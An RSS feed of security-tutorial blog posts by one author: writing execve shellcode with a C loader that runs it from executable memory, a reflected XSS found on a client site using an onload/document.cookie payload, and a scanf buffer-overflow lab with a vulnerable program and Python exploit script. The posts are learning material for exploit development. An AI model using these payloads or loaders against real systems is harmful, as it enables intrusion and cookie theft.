<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hritom Bhattacharya on Medium]]></title>
        <description><![CDATA[Stories by Hritom Bhattacharya on Medium]]></description>
        <link>https://medium.com/@hritombhattacharya029?source=rss-127e584cd563------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*xUjv-Q4HmPk3who7LMNJaQ.jpeg</url>
            <title>Stories by Hritom Bhattacharya on Medium</title>
            <link>https://medium.com/@hritombhattacharya029?source=rss-127e584cd563------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 23:31:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hritombhattacharya029/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ShellCode theory: Easy to understand than your Girlfriend]]></title>
            <link>https://medium.com/@hritombhattacharya029/shell-code-theory-easy-to-understand-than-your-girlfriend-a8f038c4b0d0?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8f038c4b0d0</guid>
            <category><![CDATA[exploit-development]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[systemsecurity]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Mon, 27 Jul 2026 14:16:15 GMT</pubDate>
            <atom:updated>2026-08-22T11:22:33.151Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey, after a long huh?</p><p>So, in this blog we’re gonna learn each and everything about Shell codes.</p><blockquote>“Maybe you don’t understand your girlfriend but I promise after this blog you gonna understand shellcode better “</blockquote><blockquote>NOTE: DO NOT HARM ANYONE</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/394/1*V-lJ_P2e5LRPQTgik7TUrQ.gif" /></figure><h4>Requirements:</h4><ol><li>Linux based OS (because we gonna write for linux)</li><li>Any text editor (I’m gonna use Zed)</li><li>Tools: hexdump, nasm, gcc</li><li>knowledge to read and write C and assembly</li><li>A lot of patience</li></ol><blockquote>If you donno much about assembly <a href="https://amihart.medium.com/writing-assembly-code-on-linux-2649659384d2">https://amihart.medium.com/writing-assembly-code-on-linux-2649659384d2</a> look at this beautiful blog</blockquote><blockquote><strong><em>So let’s start …</em></strong></blockquote><p>If you donno what the heck is a shellcode ….</p><blockquote>What is a Shell code?</blockquote><p>Shellcode is a small, self-contained sequence of raw machine code used as a payload to exploit</p><p>Basically in a malware this is what cause troubles mainly</p><p>Our goal is not to be in these basics so let’s dig in just understand in some payload we can see “\x48\xc7\xc0\x01\x00” like this string here it calls a shellcode</p><p>Okay cool I assume you got all the basics &amp; lingo let’s jump in the writing part Let’s write some unspoken rules first</p><ol><li>write in assembly it’s easier</li><li>Even mostly static C compiled binary doesn’t work as shellcode it breaks simply so again we got no alternative of assembly</li><li>After compiling .asm file we don’t need to ld or link libc.so or whatever because <strong>a shellcode are nothing but set of instructions they don’t contains memory addresses.</strong></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*FprQP2cFHo3fcE9QrKiEiQ.gif" /></figure><blockquote>Now the question is why? …</blockquote><p>Before finding why let’s see a graph that how can we write a shellcode</p><p>Assembly<br> │<br> ▼<br>NASM<br> │<br> ▼<br>Object file<br> │<br>objdump / objcopy<br> ▼<br>Raw bytes<br> │<br> ▼<br>shellcode runner</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*18di_IFJ21g5Pz0x-92q0Q.gif" /></figure><p>Simply nasm converts assembly to machine code and gcc does the same so why not in C?</p><ol><li>When you compiling C code then knowingly or unknowingly you are doing a lot of things which you don’t when you are compiling assembly like … stack setup, libc call, stack cleanup, etc. So, your compiled code in C does more than you write but not in the case of assembly.</li><li>Assembly has almost a 1:1 mapping to machine code.</li><li>Let’ say you need to pass a string through the shell code then if you put that in C code it would be in the .data directives in the assembly and when you call that you just call it as a memory address exactly how a normal code works right? But shellcodes are not the normal codes we cannot pass the memory addresses because we don’t know where the hell would it be run in the memory shellcodes are just a piece of machine code instructions.</li><li>You might ask me what about reverse shell? Here comes the GOT &amp; PLT tables and the lots of stuffs … <strong><em>Simply, our goal is to make shell code position independent and dependency-less so, assembly</em></strong>.</li></ol><blockquote>Recap: if you forgot lemme remind you .data section in assembly used for passing any string</blockquote><p>We will write a shellcode which will convert “/usr/bin/bash” from “/usr/bin/fish” (I’m using fedora with fish shell BTW).</p><pre>section .text<br><br>global _start<br><br>_start:<br>    jmp str<br><br>back:<br>    pop rdi<br>    xor rsi, rsi<br>    xor rdx, rdx<br>    mov rax, 59<br>    syscall<br><br>str:<br>    call back<br>    db &quot;/usr/bin/bash&quot;, 0</pre><p><strong>Remember here back: and str: are not labels not directives</strong></p><p>Now, you may ask that how our strings gonna be executed? call instruction might be work with memory addresses … well, No.</p><p>Things are a bit different in assembly Let’s see what is call &amp; pop &amp; xor instruction…</p><p><em>CALL = push next instruction + jump target</em></p><p>so as you can see our code strts from here…</p><pre>_start:<br>    jmp str</pre><p>So, execution our main code will directly start from call back instruction</p><pre>str:<br>    call back<br>    db &quot;/usr/bin/bash&quot;, 0</pre><p>Let’s break it down as we know …</p><p><em>CALL = push next instruction + jump target</em></p><p>so this will push [db “/usr/bin/bash”, 0] this in memory then it will jump to back label.</p><pre>back:<br>    pop rdi<br>    xor rsi, rsi<br>    xor rdx, rdx<br>    mov rax, 59<br>    syscall</pre><p>Now, comes the <strong><em>back</em></strong> label <strong>pop </strong>instruction removes the top value from the stack and stores it into a register or memory. So, here <strong>rdi</strong> is getting the string.</p><p>Now comes to XOR …. The xor of any value with it’self is 0…. Our goal was here to pass nothing which is in assembly 0.</p><blockquote>So, why not mov rsi, 0?</blockquote><p>Because, Modern CPUs recognize it as a <strong>zeroing idiom</strong> and execute it very efficiently.</p><p>59 here is execve syscall which will run our bash shell or command</p><p><a href="https://man7.org/linux/man-pages/man2/execve.2.html">execve(2) - Linux manual page</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*ZbA2VfZnRcIfM-oAKEZprw.gif" /></figure><p>Now, here it comes one of the crucial part compilation….</p><pre>nasm -f elf64 blog.asm -o blog.o<br>ld blog.o -o blog</pre><p>These are our compilation commands as you know let’s not drag these basics much</p><pre>objcopy -O binary --only-section=.text blog blog.bin</pre><p>this is for the “Only .text directive” machine code section (apparently what we need)</p><p>but ld blog.o -o blog this we need just for testing purposes because ld marge libc and other stuff to our compiled code needed to run the code mostly they’re memory addresses</p><p>But, shellcodes are only machine codes without memory addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*qabZvotebjnera2JX6MrJQ.gif" /></figure><p>Let’s see that …. focus focus …</p><blockquote>After ld …</blockquote><pre>hritom at fedora in ~/D/p/shell<br>↪ objdump -d blog <br><br>blog:     file format elf64-x86-64<br><br><br>Disassembly of section .text:<br><br>0000000000400080 &lt;_start&gt;:<br>  400080: eb 0e                 jmp    400090 &lt;str&gt;<br><br>0000000000400082 &lt;back&gt;:<br>  400082: 5f                    pop    %rdi<br>  400083: 48 31 f6              xor    %rsi,%rsi<br>  400086: 48 31 d2              xor    %rdx,%rdx<br>  400089: b8 3b 00 00 00        mov    $0x3b,%eax<br>  40008e: 0f 05                 syscall<br><br>0000000000400090 &lt;str&gt;:<br>  400090: e8 ed ff ff ff        call   400082 &lt;back&gt;<br>  400095: 2f                    (bad)<br>  400096: 75 73                 jne    40010b &lt;str+0x7b&gt;<br>  400098: 72 2f                 jb     4000c9 &lt;str+0x39&gt;<br>  40009a: 62 69 6e 2f 62        (bad)<br>  40009f: 61                    (bad)<br>  4000a0: 73 68                 jae    40010a &lt;str+0x7a&gt;</pre><blockquote>Before ld …</blockquote><pre>hritom at fedora in ~/D/p/shell<br>↪ objdump -d blog.o<br><br>blog.o:     file format elf64-x86-64<br><br><br>Disassembly of section .text:<br><br>0000000000000000 &lt;_start&gt;:<br>   0: eb 0e                 jmp    10 &lt;str&gt;<br><br>0000000000000002 &lt;back&gt;:<br>   2: 5f                    pop    %rdi<br>   3: 48 31 f6              xor    %rsi,%rsi<br>   6: 48 31 d2              xor    %rdx,%rdx<br>   9: b8 3b 00 00 00        mov    $0x3b,%eax<br>   e: 0f 05                 syscall<br><br>0000000000000010 &lt;str&gt;:<br>  10: e8 ed ff ff ff        call   2 &lt;back&gt;<br>  15: 2f                    (bad)<br>  16: 75 73                 jne    8b &lt;str+0x7b&gt;<br>  18: 72 2f                 jb     49 &lt;str+0x39&gt;<br>  1a: 62 69 6e 2f 62        (bad)<br>  1f: 61                    (bad)<br>  20: 73 68                 jae    8a &lt;str+0x7a&gt;<br> ...</pre><p>See just the addresses are added.</p><p>Okay, cool the only 2 things are left now formatting the shellcode so we can write it on memory and a shell code runner</p><pre>python3 -c &#39;print(&quot;\&quot;&quot; + &quot;&quot;.join(&quot;\\\\x%02x&quot; % b for b in open(&quot;blog.bin&quot;,&quot;rb&quot;).read()) + &quot;\&quot;&quot;)&#39;</pre><p>we can use this to format the machine codes which will look like …</p><pre>&quot;\xeb\x0e\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05\xe8\xed\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00&quot;</pre><p>Now, I created a shell code runner in C…. today it’s not our topic so let’s not dig in this how shellcode runner/shellcode loader works.</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br>#include &lt;sys/mman.h&gt;<br>#include &lt;unistd.h&gt;<br><br>unsigned char shellcode[] =<br>    &quot;\xeb\x0e\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05\xe8\xed\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x00&quot;;                        // syscall<br><br><br>int main(void)<br>{<br>    size_t len = sizeof(shellcode) - 1;<br><br>    void *mem = mmap(NULL,<br>                     len,<br>                     PROT_READ | PROT_WRITE | PROT_EXEC,<br>                     MAP_PRIVATE | MAP_ANONYMOUS,<br>                     -1,<br>                     0);<br><br>    if (mem == MAP_FAILED) {<br>        perror(&quot;mmap&quot;);<br>        return 1;<br>    }<br><br>    memcpy(mem, shellcode, len);<br><br>    ((void(*)())mem)();<br><br>    munmap(mem, len);<br>    return 0;<br>}</pre><p>See, I droped my shellcode in the shellcode array, now let’s compile and run …</p><pre>gcc blog.c -o test<br>./test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*4PA3jpg8KUc_PNB-oI9KPQ.png" /></figure><p>See,</p><ol><li>I had fish shell activated</li><li>I performed my shellcode</li><li>Now, it’s bash shell</li></ol><p>This is really the foundation you can work more upon this and do more some cool stuffs of course but make sure do not harm anyone.</p><p>Feel free to reach me out or if you have any doubt or any suggestion you wanna gimme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*HJCiZdvv6snBocIlT779nw.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a8f038c4b0d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Caido is your best friend?]]></title>
            <link>https://medium.com/@hritombhattacharya029/why-caido-is-your-best-friend-b85e85d47bde?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/b85e85d47bde</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[websecurity-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Fri, 12 Jun 2026 08:19:34 GMT</pubDate>
            <atom:updated>2026-06-12T08:19:34.618Z</atom:updated>
            <content:encoded><![CDATA[<p>Hii everyone, after a long….. I know i Know…..</p><p>But this blog is about why you should use caido …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*Zjf8X6UIAuC1E44YIqbEPw.jpeg" /></figure><p>No , I am not telling that you should stop using burp, absolutely not! Both are very good MITM proxies. But in some cases Caido works better and in some cases burp works better (I am talking for whoever are using free versions).</p><p>Caido can auto scan your target requests on its own! ain’t this awesome? I really got an awesome XSS while pentesting one of my office project, I kinda got bored using burp so i was using caido and exploring it to be honest. But the thing is I was really never hunting XSS, I was looking for IDORs and business logics.</p><p>But Something interesting flagged in the finding tab !!!</p><p>It was not too brain storming thing or like that a simple reflection !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtHFlbOcnHEsf7Lbsn-dHA.png" /></figure><p>“embededurl” parameter is reflecting as it is the input! Cool huh?</p><p>Observe! the reflection in the request embedded-signup.php%3F is reflecting <a href="https://pinnacle.in/embedded-signup.php">https://&lt;SOME-WEBSITE.com&gt;/embedded-signup.php</a>? in the response (SOME-WEBSITE.com is another website login page embedding into our target site through iframe …. obviously I can’t disclose original sites)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GjPMA3duHtNEQX7CndbkVQ.png" /></figure><p>So obviously I tried with a XSS payload….. So the payload was …</p><pre>evil.com%20onload%3Dalert(document.cookie)&gt;--</pre><p>which if you decode comes…</p><pre>evil.com&quot;onload=alert(document.cookie)&gt;--</pre><p>obviously, I had to use obfuscation type payload…… And here it comes… we got the sweet reflection and no security mechanism implemented so executed as we thought look at the bottom…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBL8FZ9Y1sbMSKHzZOb1jg.png" /></figure><p>Observe here, We got the reflection already because we can see that our payload is executing as JavaScript. But but but the fun part is it was a redirect page so mostly victim cannot understand if we steal the cookies</p><p>Oh! for the satisfaction obviously I opened the response in the browser ….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mNPNuIN4OKeFdbq58Vr1Kg.png" /></figure><p>So, here is the conclusion I guess…. So, we should use both for better and more findings…. Both are so cool. And personally I fell for Caido. Lemme know your thoughts….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*htF2e6Pstq-N8-Tl3aN26w.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b85e85d47bde" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why scanf() function is just like your Ex?!]]></title>
            <link>https://medium.com/@hritombhattacharya029/why-scanf-function-is-just-like-your-ex-5ceb468585cb?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/5ceb468585cb</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[scanf]]></category>
            <category><![CDATA[function]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Mon, 17 Nov 2025 08:51:47 GMT</pubDate>
            <atom:updated>2025-11-17T08:51:47.972Z</atom:updated>
            <content:encoded><![CDATA[<iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F16739940&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fkid-baby-run-bye-ex-gif-16739940&amp;image=https%3A%2F%2Fmedia.tenor.com%2FYN3SKBbTH1UAAAAN%2Fkid-baby.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/8d8b8622d50a49ba85a69d91a4d2d4ff/href">https://medium.com/media/8d8b8622d50a49ba85a69d91a4d2d4ff/href</a></iframe><p>Hey, ever your ex betrayed you? :)</p><p>Here is the <strong><em>scanf()</em></strong> function in C who betrayed your code’s security with a <strong><em>Classic Buffer Overflow</em></strong> vulnerability.</p><blockquote>Index:</blockquote><ol><li>What is Buffer?</li><li>How buffer works?</li><li>What is Buffer Overflow?</li><li>Why scanf() is vulnerable?</li><li>Secure coding practice</li></ol><blockquote>1. What is Buffer?</blockquote><p>Buffers are temporary memory regions located in the main memory (RAM) and are used to hold data while it is being transferred between devices, applications, or processes. The operating system allocates buffer space in RAM to ensure efficient data transfer, smooth input/output operations, or to accommodate speed differences between communicating devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*QBDusAb-YUt-9y9UH9QI1g.jpeg" /><figcaption>Memory map</figcaption></figure><p>In a easy word let’s suppose you wrote a program and there’s some functionality that takes input and process it then that function use buffer to keep those inputs.</p><p>Basically, in stack we keep data which is we need for execution and that particular region is buffer….. and and and …. by the way stack is always have a fixed size.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/167/1*kduLvo4h0l2gYHtASJ4P_g.png" /></figure><blockquote>2. How buffer works?</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F3375125404087240671&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fone-piece-excited-lets-watch-one-piece-gif-3375125404087240671&amp;image=https%3A%2F%2Fmedia.tenor.com%2FLtbarD8ER98AAAAN%2Fone-piece-excited.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/185c4135bee84c4c1b5b1595f282ef06/href">https://medium.com/media/185c4135bee84c4c1b5b1595f282ef06/href</a></iframe><p>Buffer generally follow that FIFO procedure to work rbp register defines the base pointer which is the higher value pointer register and rsp register is the stack pointer which is the lower value pointer register in 64 architecture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*tPYc0zUpiQsMJYiG3bH7IA.jpeg" /></figure><p>SO, in buffer data stores in Lower address to Higher address.</p><p><strong><em>rbp:</em></strong> Base Pointer (or Frame Pointer). This register points to the base of the current stack frame, providing a stable reference point for accessing local variables and function arguments within that frame.</p><p><strong><em>rsp: </em></strong>Stack Pointer. This register always points to the top of the current stack, which is the most recently pushed item or the next available location for a push operation. It dynamically changes as data is pushed onto or popped from the stack.</p><blockquote>3. What is Buffer Overflow?</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F12462265086397114470&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fluffy-lucy-lucy-one-piece-dressrosa-beard-gif-12462265086397114470&amp;image=https%3A%2F%2Fmedia.tenor.com%2FrPLcEXNz6GYAAAAN%2Fluffy-lucy.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/653cdb81d8c9c07282e71b86f5838dab/href">https://medium.com/media/653cdb81d8c9c07282e71b86f5838dab/href</a></iframe><p>Let’s suppose you put water in a glass then after a while there will be moment come when the water will overflow. Exactly, same thing will happen in this scenario If we fill excess amount of random character in the buffer this will overflow and rewrite the Return address.</p><p>Now, What is a <strong><em>Return Address</em></strong> right?</p><p>In stack for a particular code execution there is a frame called return address which stores the initial location of <em>rbp</em> register just before the execution starts…. see every program gets particular amount of stack and every function have different stack frames so base pointer(<em>rbp</em>) should know that which was previous location right?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*F2Del0FI3HkC_2lm_RljCw.jpeg" /></figure><blockquote>4. Why scanf() is vulnerable?</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F25956910&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fone-piece-gif-25956910&amp;image=https%3A%2F%2Fmedia.tenor.com%2FmAOq1C0MW_YAAAAN%2Fone-piece.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/12bc7a04e5792f617523abb1aacbcd67/href">https://medium.com/media/12bc7a04e5792f617523abb1aacbcd67/href</a></iframe><p>The scanf() function in C is vulnerable because, by default, it does not limit the amount of user input written into a buffer. If an attacker provides more input than the allocated size of the destination variable (e.g., a character array), scanf() will continue to write beyond the buffer’s boundary, causing a buffer overflow. This can corrupt memory, crash the program, or even allow the execution of malicious code.</p><p>Let’s understand this with an example…..</p><p>In this case we will compile this vulnerable code with Disables stack protector, allowing injected shellcode on the stack to run, Compiles the code for a 32-bit target instead of the default 64-bit</p><p>So, the command is …</p><pre>gcc -o vuln vuln.c -fno-stack-protector -z execstack -m32</pre><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main() {<br>    char buffer[32];<br>    unsigned int auth = 0;<br>    unsigned int admin = 0;<br>    <br>    printf(&quot;Enter your username: &quot;);<br>    scanf(&quot;%s&quot;, buffer);  <br>    <br>    if (auth == 3735928559 &amp;&amp; admin == 3405691582) {<br>        printf(&quot;\n=== ACCESS GRANTED ===\n&quot;);<br>        printf(&quot;Welcome, administrator! black king\n&quot;);<br>        printf(&quot;You have successfully exploited the buffer overflow!\n&quot;);<br>        return 1;<br>    } else {<br>        printf(&quot;Access denied. auth=0x%x, admin=0x%x\n&quot;, auth, admin);<br>        return 0;<br>    }<br>}</pre><p>So, this is a vulnerable code in C observe that there’s a scanf() function which is taking input as string in %s format specifier but it does not limiting the input characters.</p><p>Okay lemme explain the code for you….</p><pre>#include &lt;stdio.h&gt;<br>#include &lt;string.h&gt;<br><br>int main() {<br>    char buffer[32];<br>    unsigned int auth = 0;<br>    unsigned int admin = 0;</pre><ol><li>In this portion in the main function buffer is a character variable with 32 character space.</li></ol><pre>printf(&quot;Enter your username: &quot;);<br>    scanf(&quot;%s&quot;, buffer);</pre><p>2. This is the most important part printf() function is printing the string but here scanf() function is taking input but %s format specifier is not limiting the number of input</p><pre>if (auth == 3735928559 &amp;&amp; admin == 3405691582) {<br>        printf(&quot;\n=== ACCESS GRANTED ===\n&quot;);<br>        printf(&quot;Welcome, administrator! black king\n&quot;);<br>        printf(&quot;You have successfully exploited the buffer overflow!\n&quot;);<br>        return 1;<br>    } else {<br>        printf(&quot;Access denied. auth=0x%x, admin=0x%x\n&quot;, auth, admin);<br>        return 0;<br>    }<br>}</pre><p>3. And in this code block just conditional statement you can see in any normal execution scenario we will get Access Denied message…. there’s no way that in which we’ll get a successful message</p><p>So, let’s see how can we smash the stack……….</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F13338491315500809990&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fone-piece-one-piece-anime-one-piece-animated-gifs-one-piece-hachinosu-one-piece-rescuing-koby-in-hachinosu-gif-13338491315500809990&amp;image=https%3A%2F%2Fmedia.tenor.com%2FuRvXLlwO_wYAAAAN%2Fone-piece-one-piece-anime.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/35d2604e6e3c9ab4d301ecd1d8c82653/href">https://medium.com/media/35d2604e6e3c9ab4d301ecd1d8c82653/href</a></iframe><p><strong>So, What is our stratagy right?</strong></p><p>See we defined 32 in buffer array so in buffer we have to put 32 byte garbage values after that we can re write the value of admin_value and auth_value but we have to re write admin_value and auth_value in little-endian format.</p><p>I wrote a python program for that……….</p><pre>#!/usr/bin/env python3<br>import subprocess<br>import struct<br>import sys<br>import os<br>def main():<br>    print(&quot;=== SCANF BUFFER OVERFLOW EXPLOIT (PYTHON) ===\n&quot;)<br>    binary_name = &quot;./vuln&quot;<br>    if not os.path.exists(binary_name):<br>        print(f&quot;[!] Error: {binary_name} binary not found!&quot;)<br>        return<br>    print(&quot;[+] Constructing buffer overflow payload...&quot;)<br>    padding = b&quot;A&quot; * 32<br>    auth_value = struct.pack(&quot;&lt;I&quot;, 3735928559)    <br>    admin_value = struct.pack(&quot;&lt;I&quot;, 3405691582)   <br>    payload = padding + admin_value + auth_value  <br>    try:<br>        process = subprocess.Popen(<br>            [binary_name],<br>            stdin=subprocess.PIPE,<br>            stdout=subprocess.PIPE,<br>            stderr=subprocess.PIPE,<br>            text=False<br>        )<br>        stdout, stderr = process.communicate(input=payload, timeout=10)<br>        exit_code = process.returncode<br>        print(&quot;=== VULNERABLE PROGRAM OUTPUT ===&quot;)<br>        if stdout:<br>            output = stdout.decode(&#39;utf-8&#39;, errors=&#39;ignore&#39;)<br>            print(output)<br>            if &quot;ACCESS GRANTED&quot; in output or exit_code == 1:<br>                print(&quot;\n*** 🎉 EXPLOIT SUCCESSFUL! 🎉 ***&quot;)<br>                print(&quot;Buffer overflow successfully bypassed authentication!&quot;)<br>            else:<br>                print(f&quot;\n[!] Exploit failed. Exit code: {exit_code}&quot;)<br>        else:<br>            print(&quot;(No output)&quot;)<br>    except Exception as e:<br>        print(f&quot;[!] Error: {e}&quot;)<br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>Lemme help you to understand this………………</p><pre>import subprocess<br>import struct<br>import sys<br>import os<br>def main():<br>    print(&quot;=== SCANF BUFFER OVERFLOW EXPLOIT (PYTHON) ===\n&quot;)</pre><p>It’s just imports and defining the main function and header…</p><pre>binary_name = &quot;./vuln&quot;<br>if not os.path.exists(binary_name):<br>    print(f&quot;[!] Error: {binary_name} binary not found!&quot;)<br>    return</pre><p>Checks if the vulnerable binary exists at ./vuln before attempting to exploit it. If it doesn&#39;t exist, the script exits with an error message.</p><pre>print(&quot;[+] Constructing buffer overflow payload...&quot;)<br>padding = b&quot;A&quot; * 32<br>auth_value = struct.pack(&quot;&lt;I&quot;, 3735928559)    <br>admin_value = struct.pack(&quot;&lt;I&quot;, 3405691582)</pre><p>Here’s the critical part of the exploit:</p><ul><li>padding = b&quot;A&quot; * 32: Fills the 32-byte buffer declared as char buffer[32] with the character &#39;A&#39; (ASCII 0x41). This overflows the buffer boundary.</li><li>struct.pack(&quot;&lt;I&quot;, 3735928559): Converts the integer 3735928559 into 4 bytes in little-endian format (&lt;I means unsigned int, little-endian). This is typically the value overwriting an authentication flag variable.</li><li>struct.pack(&quot;&lt;I&quot;, 3405691582): Similarly packs another integer value to overwrite a second variable (likely the &quot;admin&quot; flag), also 4 bytes.</li></ul><p>The numeric values are intentionally chosen to set these variables to non-zero values, which tricks the program into thinking authentication succeeded.</p><pre>payload = padding + admin_value + auth_value</pre><p>Combines the padding and two packed values into a single payload that will be sent to the vulnerable program.</p><pre>try:<br>    process = subprocess.Popen(<br>        [binary_name],<br>        stdin=subprocess.PIPE,<br>        stdout=subprocess.PIPE,<br>        stderr=subprocess.PIPE,<br>        text=False<br>    )</pre><p>Spawns the vulnerable binary as a subprocess with pipes connected to its stdin, stdout, and stderr. text=False means we&#39;re working with binary data (bytes), not text strings.</p><pre>    stdout, stderr = process.communicate(input=payload, timeout=10)<br>    exit_code = process.returncode</pre><p>communicate() sends the payload through stdin to the vulnerable program and captures its stdout and stderr output within a 10-second timeout. The exit code tells us how the program terminated.</p><p>Easy huh? And if you find it difficult read it again……. and still have doubt just reach me out…</p><p>Okay now let’s look for the output…….</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_M-0x8DJyttRVNojWtCOvQ.png" /></figure><p>Our payload just worked fine seeee…………</p><p>So, that’s how scanf() function betrayed us….. :)</p><blockquote>5. Secure coding practice</blockquote><p>You can use scanf() function ofcourse but use %20s or use any number between “%” and “s” it defines how many character is will it take input or you can use fgets() function in which number of input character is defining is compulsory.</p><blockquote>If I miss anything or if you wanna suggest me something or any doubt , please feel free to reach me out</blockquote><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Ftenor.com%2Fembed%2F23016281&amp;display_name=Tenor&amp;url=https%3A%2F%2Ftenor.com%2Fview%2Fluffy-one-piece-luffy-smile-smile-gif-23016281&amp;image=https%3A%2F%2Fmedia.tenor.com%2FNt6Zju-KjTsAAAAN%2Fluffy-one-piece.png&amp;type=text%2Fhtml&amp;schema=tenor" width="600" height="400" frameborder="0" scrolling="no"><a href="https://medium.com/media/00fa8a194bdaf0913925b0ea038dcc54/href">https://medium.com/media/00fa8a194bdaf0913925b0ea038dcc54/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5ceb468585cb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A easy Blind XSS]]></title>
            <link>https://medium.com/@hritombhattacharya029/a-easy-blind-xss-0d9dcbd06409?source=rss-127e584cd563------2</link>
            <guid isPermaLink="false">https://medium.com/p/0d9dcbd06409</guid>
            <category><![CDATA[bugbounty-writeup]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[blind-xss]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-vulnerabilities]]></category>
            <dc:creator><![CDATA[Hritom Bhattacharya]]></dc:creator>
            <pubDate>Tue, 04 Nov 2025 11:59:01 GMT</pubDate>
            <atom:updated>2025-11-04T11:59:01.947Z</atom:updated>
